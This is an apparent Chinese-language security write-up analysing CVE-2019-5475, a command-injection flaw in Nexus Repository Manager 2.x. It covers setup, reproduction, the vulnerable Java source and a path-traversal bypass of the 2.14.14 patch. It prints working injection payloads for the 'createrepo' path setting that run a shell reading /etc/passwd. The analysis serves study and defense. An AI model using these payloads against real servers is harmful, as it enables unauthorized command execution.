CVE-2019-5475(Nexus Repository Manager 2.x 远程代码执行漏洞)分析
Table of Contents
受影响的版本:
- Nexus Repository Manager OSS <= 2.14.13
- Nexus Repository Manager Pro <= 2.14.13
- 2.14.14 存在绕过补丁的漏洞
1. 环境安装
依赖 JDK 1.8。下载 Nexus 2.14.13:
$ curl https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip -O
解压后运行:
$ ./bin/nexus start
通过浏览器访问:http://server:8081/nexus/。
默认登录帐号:admin/admin123。
2. 漏洞复现
选择左边导航栏“Administration” > “Capabilities”,漏洞触发点在“Yum: Configuration” > “Settings”中,为”Path of "createrepo"配置:
sh -c {cat,/etc/passwd} #
配置方式如下图:
保存后,进入“Status”选项卡,即可看到执行结果,如下图:
3. 漏洞分析
从 https://github.com/sonatype/nexus-public 获取有漏洞的源码:
$ git clone https://github.com/sonatype/nexus-public.git $ cd nexus-public $ git checkout -b 2.14.13-01 origin/release-2.14.13-01
漏洞产生点位于 plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/capabilities/YumCapability.java:
private void validate(final String type, final String path, final String versionConstraint, final StringBuilder message, final StringBuilder verificationLog) { String and = message.length() > 0 ? " and " : ""; verificationLog.append("\"").append(type).append("\" version:").append(NL); ByteArrayOutputStreambaos = new ByteArrayOutputStream(); try { if (commandLineExecutor.exec(path + " --version", baos, baos) == 0) { String versionOutput = new String(baos.toByteArray()); verificationLog.append(versionOutput); ensureVersionCompatible(type, versionOutput, versionConstraint, message, verificationLog); } else { message.append(and).append("\"").append(type).append("\" not available"); verificationLog.append(new String(baos.toByteArray())); } } catch (IOException e) { message.append(and).append("\"").append(type).append("\" not available"); verificationLog.append(new String(baos.toByteArray())); verificationLog.append(e.getMessage()).append(NL); } }
关键代码:
commandLineExecutor.exec(path + " --version", baos, baos)
path 参数在没有任何限制下,就直接带入 commandLineExecutor.exec 去执行命令,只是执行的命令会强制性拼接“–version”参数,因此 Payload 后面使用”#“做了注释截断。
commandLineExecutor.exec 的实现位于 plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/task/CommandLineExecutor.java,如下:
public int exec(final String command, OutputStream out, OutputStream err) throws IOException { LOG.debug("Execute command : {}", command); CommandLine cmdLine = CommandLine.parse(command); DefaultExecutor executor = new DefaultExecutor(); executor.setStreamHandler(new PumpStreamHandler(out, err)); int exitValue = executor.execute(cmdLine); LOG.debug("Execution finished with exit code : {}", exitValue); return exitValue; }
它没有对要执行的命令做任何判断。
3.1. 2.14.14 补丁绕过
根据参考文章 1 提供的信息,版本 2.14.14 发布的补丁仍然存在绕过漏洞,将代码切换到 2.14.14-01 分支:
$ git checkout -b 2.14.14-01 origin/release-2.14.14-01
再次查看文件 CommandLineExecutor.java,exec 函数多出以下几行代码:
String cleanCommand = getCleanCommand(command, params); if (cleanCommand == null) { throw new IllegalAccessException("Attempt to execute unsupported executable " + command); } LOG.debug("Execute command : {}", cleanCommand);
getCleanCommand 函数用于验证命令是否合法,它的实现如下:
private String getCleanCommand(String command, String params) { /* 判断1:如果执行的命令是 allowedExecutables 中指定,便可执行 */ if (allowedExecutables.contains(command)) { return command + " " + params; } File file = new File(command); /* 判断2:检查要执行命令所在目录是否是 Nexus 目录下的 */ if (file.getAbsolutePath().startsWith(applicationDirectories.getWorkDirectory().getAbsolutePath())) { LOG.debug("Attempt to execute command with illegal path {}", file.getAbsolutePath()); return null; } /* 判断3:检查执行文件名是否存在于 allowedExecutables 中 */ if (!allowedExecutables.contains(file.getName())) { LOG.debug("Attempt to execute illegal command {}", file.getAbsolutePath()); return null; } return file.getAbsolutePath() + " " + params; }
allowedExecutables 的定义如下:
private final Set<String> allowedExecutables = new HashSet<>(); ...... @Inject public CommandLineExecutor(final ApplicationDirectories applicationDirectories, @Named("${yum.cli.allowed:-createrepo,mergerepo}") final String allowedExecutables) { this.applicationDirectories = applicationDirectories; this.allowedExecutables.addAll(stream(allowedExecutables.split(",")).map(String::trim).collect(toSet())); }
也就是说,allowedExecutables 只允许 createrepo 和 mergerepo 两个命令。
问题出现在 getCleanCommand 第二个判断步骤:判断 file.getAbsolutePath 返回的绝对路径字符串是否以当前工作目录的开头,而 java.io.File 的 getAbsolutePath 方法在实现上有个坑,为了方便,我用 Scala 演示下:
import java.io.File val f = new File("../../bin/bash") f.getAbsolutePath // => /home/lu4nx/../../bin/bash
如上,对于越目录来说,getAbsolutePath 也会完整拼接到路径后面;但对于传递给命令执行来说会被正确解析,因此绕过的 Payload 如下:
../../usr/bin/sh -c {cat,/etc/passwd} # test/createrepo